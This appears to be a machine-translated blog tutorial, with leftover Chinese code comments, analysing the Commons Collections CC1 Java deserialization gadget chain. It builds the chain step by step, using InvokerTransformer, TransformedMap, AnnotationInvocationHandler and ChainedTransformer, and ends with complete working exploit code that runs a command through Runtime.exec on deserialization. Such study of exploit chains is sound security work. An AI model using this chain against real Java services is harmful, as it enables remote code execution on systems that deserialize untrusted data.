Análisis de CommonsCollections (CC1) de deserialización de Java


Prefacio

      Este artículo incluye: Algunos análisis del proceso de CommonsCollections (CC1) de deserialización de Java.


1. Análisis de procesos

   1. Punto de entrada: método peligroso InvokerTransformer.transform()

     1) El punto de entrada es la clase Transformer, que es un conjunto de clases funcionales personalizadas en Commons Collections. La función de la clase Transformer es recibir un objeto y luego llamar al método de transformación para realizar algunas operaciones en el objeto.
Insertar descripción de la imagen aquí
     2) Puedes ver cómo se realizan las clases de implementación de este transformador. Puedes verlos uno por uno. La clase clave de la cadena CC1 es la clase InvokerTransformer, por lo que veremos esta clase directamente.
Insertar descripción de la imagen aquí
     3) Se puede encontrar que la entrada recibe un objeto y luego realiza llamadas a funciones a través de la reflexión. El valor del método (iMethodName), el tipo de parámetro (iParamTypes) y los parámetros (iArgs) son todos controlables y son un método arbitrario estándar. Aquí solo necesita pasar tres parámetros para llamar a cualquier función en el objeto.
Insertar descripción de la imagen aquí
     4) Consulte y utilice el método de escritura de InvokerTransformer.transform para reproducir una calculadora. En la cadena CC1, el método InvokerTransformer.transform es el último método peligroso llamado. El método transform() se utiliza principalmente para la conversión de objetos.

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
//        // 1.先弹个计算器
//        Runtime.getRuntime().exec("calc");

//        // 2.写一个普通的反射
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的class
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec",String.class);
//        // 调用exec方法
//        execMethod.invoke(r,"calc");

        // 3.InvokerTransformer的写法
        Runtime r = Runtime.getRuntime();
        // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
        new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"}).transform(r);
        
    }
}

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

   2. Activa la función peligrosa TransformedMap.checkSetValue()

     1) Arriba jugamos una calculadora a través del método InvokerTransformer.transform y luego continuamos el análisis. A través de la transformación en el caso, encontramos el método de transformación en el archivo InvokerTransformer.java, y luego hicimos clic derecho en este método para descubrir cuáles usaban este método y descubrimos que había 21 en total.
Insertar descripción de la imagen aquí
     2) Analice estos 21 resultados uno por uno, principalmente buscamos llamadas a transform con diferentes nombres, porque no tiene sentido que transform llame a transform. Finalmente encontramos la clase TransformedMap, la función de la clase TransformedMap es recibir un Mapa y luego realizar algunas operaciones sobre su clave y valor. Puede ver que se llaman los tres métodos.
Insertar descripción de la imagen aquí
     3) Observamos directamente el tercer método checkSetValue y descubrimos que el valueTransformer en el método checkSetValue se llama transform().
Insertar descripción de la imagen aquí
     4) Al buscar el constructor de valueTransformer, encontramos que el constructor es una clase protegida, lo que significa que fue llamado por sí mismo, su función es realizar algunas operaciones sobre la clave y el valor del mapa pasado. Necesitamos encontrar las clases públicas, por lo que aún debemos mirarlas.
Insertar descripción de la imagen aquí
     5) Desplácese hacia arriba para ver dónde se llama. Cuando pasa a la línea 73, puede ver un método estático decorar(). En este método, la operación de decoración se completa. Luego, siempre que utilice la función estática pública decor() para llamar a TransformedMap y pasar la función de transformación Transformer de clave y valor, puede generar el TransformedMap correspondiente a partir de cualquier objeto Map.
Insertar descripción de la imagen aquí
     6) Después de mirar hacia abajo para encontrar los parámetros controlables, mire hacia arriba para ver quién llamó a checkSetValue. Se puede encontrar que solo hay una llamada, setValue en AbstractInputCheckedMapDecorator. Puede encontrar que la clase principal de TransformedMap es este AbstractInputCheckedMapDecorator.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     7) El método setValue está en la clase MapEntry y luego repita la acción anterior para averiguar quién llamó a setValue y descubrió que hay 38 resultados.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     8) Si no quiere buscarlo, puede entenderlo: cuando se atraviesa Entry a través de HashMap, un par clave-valor es una Entrada. Escriba un caso de prueba para comprenderlo. Ver setValue es en realidad entrada.setValue (), que anula este método.

// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
    
    
    entry.getValue();
}

Insertar descripción de la imagen aquí
     9) Ahora, mientras recorramos el mapa modificado y llamemos a decorar (), llegaremos al método setValue en la clase MapEntry. A continuación se muestra una breve descripción del proceso.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí

     10) Un caso completo. Ahora podemos ejecutar el comando siempre que llamemos al método setValue. El proceso de llamada es el siguiente.

AbstractInputCheckedMapDecorator.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
    
    
            entry.setValue(r);
        }
    }
}

Insertar descripción de la imagen aquíInsertar descripción de la imagen aquí

   3.AnnotationInvocationHandler类

     1) Acabamos de describir cómo activar esta vulnerabilidad. Agregamos manualmente nuevos elementos al mapa modificado para activar una serie de devoluciones de llamada. Sin embargo, en el entorno real de explotación de vulnerabilidades, definitivamente no podemos ejecutarlo manualmente. Necesitamos dejar que se ejecute en inversa. Puede activarse automáticamente después de la serialización, lo que significa que necesita encontrar una determinada clase que pueda activar la devolución de llamada después de ejecutar readObject de esta clase. Continué buscando quién lo llamó y encontré la clase sun.reflect.annotation.AnnotationInvocationHandler .
Insertar descripción de la imagen aquí
     2) Este readObject tiene una función para atravesar el mapa. Un valor aquí llama al método setValue (). Después de encontrar esta clase, vea si hay parámetros controlables. Por el nombre de esta clase, AnnotationInvocationHandler, podemos saber que es llamado durante el proceso de proxy dinámico Clase de procesador.
Insertar descripción de la imagen aquí
     3) Eche un vistazo a los parámetros de la clase AnnotationInvocationHandler. El constructor recibe dos parámetros. El primero es que el tipo es un objeto de clase y hereda el tipo genérico de Annotation. El segundo es que memberValues ​​es un objeto Map. Este mapa El objeto está controlado. Cabe señalar aquí que este paquete no escribe en público y no hay nada escrito en java, que es el tipo predeterminado, al que solo se puede acceder en este paquete. Aquí solo podemos usar la reflexión para obtenerlo.
Insertar descripción de la imagen aquí
     4) Diseñar un proceso.

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
//        for(Map.Entry entry:transformedMap.entrySet()){
    
    
//            entry.setValue(r);
//        }

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

     5) Todavía hay varios problemas en este proceso. El primero necesita satisfacer dos juicios if. El segundo es setValue, que necesita pasar el objeto de tiempo de ejecución, pero ahora es el objeto AnnotationTypeMismatchExceptionProxy y el otro es el objeto de tiempo de ejecución. En el ejemplo anterior, lo generamos manualmente nosotros mismos y no se puede serializar porque no hereda la interfaz de serialización, por lo que solo se puede usar mediante reflexión.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     6) Primero resuelva el problema de no ser serializable: Runtime.getRuntime() no se puede serializar pero Runtime.class sí se puede serializar. Cuando miramos la clase Runtime, podemos encontrar que hay un método que devuelve Runtime.
Insertar descripción de la imagen aquí
     7) Comencemos con una reflexión común que llama Runtime.class.

import java.lang.reflect.Method;

public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Class c = Runtime.class;
        // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        // 反射调用  因为它是静态方法并且无参数调用所以都为null
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        // 反射调用Runtime的exec方法
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");
    }
}

Insertar descripción de la imagen aquí
     8) Tengamos otra versión de InvokerTransformer. El primer paso es obtener getRuntimeMethod.

// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String,第二个是class数组  ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{
    
    String.class,Class[].class},new Object[]{
    
    "getRuntime",null}).transform(Runtime.class);

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     9) En el segundo paso, después de obtener getRuntimeMethod, llame al método de invocación.

// InvokerTransformer的类型为new Class[]和new Object[],
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{
    
    Object.class,Object[].class},new Object[]{
    
    null,null}).transform(getRuntimeMethod);

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     10) El tercer paso es la llamada a la reflexión. El código final y los resultados de ejecución son los siguientes

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        // InvokerTransformer的版本
        Class c = Runtime.class;
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class},
                new Object[]{
    
    "getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class},
                new Object[]{
    
    null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"}).transform(r);
    }
}

Insertar descripción de la imagen aquí

   4.Clase transformador encadenado

     1) En el pasado, InvokerTransformer se llamaba cíclicamente, por lo que se usaba la clase ChainedTransformer. ChainedTransformer tiene una interfaz de serialización. El problema con las llamadas de reflexión en tiempo de ejecución ya está resuelto.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

Insertar descripción de la imagen aquí
     2) Veamos los dos primeros si hay problemas de juicio mediante la depuración. El método de escritura actual no puede ingresar el primer juicio. A través de la depuración, se descubre que el tipo se ingresa a través de la interfaz de serialización y el tipo en AnnotationType.getInstance (tipo) es Override. Quiero obtener las variables miembro en Override, pero el valor está vacío y no se puede obtener.
Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     3) Mirando hacia abajo, sabrá que primero obtuvo la clave a través del par clave-valor de memberValue y usó memberValue.getKey () para obtener la clave. Después de obtener la clave, busque la clave en memberTypes.get (nombre) . Y debido a que no hay ningún valor en Override, la condición no se cumple. Para satisfacer la primera condición if, necesitamos encontrar una clase con métodos miembro y, al mismo tiempo, la clave de la matriz debe cambiarse al nombre. de su método miembro.

Insertar descripción de la imagen aquí
     4) El objetivo utilizado aquí tiene un valor (). Puede encontrar que después de depurar nuevamente, ingresa el primer juicio if.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
    
    
            entry.setValue(r);
        }
//
        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Insertar descripción de la imagen aquí
Insertar descripción de la imagen aquí
     5) El segundo si es para determinar si la transferencia forzada es posible. Aquí no es posible la transferencia forzada, por lo que puede ingresar el segundo juicio si.

   5.Clase transformador encadenado

     1) Finalmente, use la clase ChainedTransformer para completar toda la cadena de utilización. El código final y los resultados se encuentran a continuación.

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    
    
    public static void main(String[] atgs) throws Exception
    {
    
    
        Transformer[] transformer = new Transformer[]{
    
    
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{
    
    String.class,Class[].class}, new Object[]{
    
    "getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{
    
    Object.class,Object[].class}, new Object[]{
    
    null,null}),
                new InvokerTransformer("exec",new Class[]{
    
    String.class},new Object[]{
    
    "calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
    
    
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
    
    
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

Insertar descripción de la imagen aquí

Supongo que te gusta

Origin blog.csdn.net/qq_44029310/article/details/127856016
Recomendado
Clasificación